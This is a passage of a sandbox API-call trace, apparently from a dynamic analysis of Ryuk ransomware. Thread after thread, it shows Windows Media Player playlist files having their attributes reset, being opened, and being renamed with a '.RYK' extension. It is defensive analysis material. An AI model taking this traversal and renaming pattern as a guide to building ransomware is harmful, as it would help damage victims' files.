	[0261.847] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x11060, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0261.848] ReadFile (in: hFile=0x950, lpBuffer=0x98bfc90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x98bfc00, lpOverlapped=0x0 | out: lpBuffer=0x98bfc90*, lpNumberOfBytesRead=0x98bfc00*=0x19, lpOverlapped=0x0) returned 1
	[0261.850] CloseHandle (hObject=0x950) returned 1

Thread:
	id = 3207
	os_tid = 0x3738

	[0262.091] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl", dwFileAttributes=0x80) returned 0
	[0262.091] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.096] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.097] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3208
	os_tid = 0x373c

	[0262.098] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl", dwFileAttributes=0x80) returned 0
	[0262.098] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.098] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.098] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3209
	os_tid = 0x3740

	[0262.099] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl", dwFileAttributes=0x80) returned 0
	[0262.099] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.099] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.100] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3210
	os_tid = 0x3744

	[0262.102] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl", dwFileAttributes=0x80) returned 0
	[0262.102] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.102] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.102] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3211
	os_tid = 0x3748

	[0262.104] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl", dwFileAttributes=0x80) returned 0
	[0262.104] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.104] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.104] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3212
	os_tid = 0x374c

	[0262.106] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl", dwFileAttributes=0x80) returned 0
	[0262.106] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.106] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.106] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3213
	os_tid = 0x3750

	[0262.107] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl", dwFileAttributes=0x80) returned 0
	[0262.107] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.107] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.108] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3214
	os_tid = 0x3754

	[0262.109] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl", dwFileAttributes=0x80) returned 0
	[0262.109] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.109] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.109] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3215
	os_tid = 0x3758

	[0262.111] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl", dwFileAttributes=0x80) returned 0
	[0262.111] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.111] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.111] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3216
	os_tid = 0x375c

	[0262.112] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl", dwFileAttributes=0x80) returned 0
	[0262.112] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.112] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.112] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3217
	os_tid = 0x3760

	[0262.114] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl", dwFileAttributes=0x80) returned 0
	[0262.114] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.114] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.114] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3218
	os_tid = 0x3764

	[0262.279] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl", dwFileAttributes=0x80) returned 0
	[0262.279] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.279] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.279] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3230
	os_tid = 0x379c

	[0262.586] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl", dwFileAttributes=0x80) returned 0
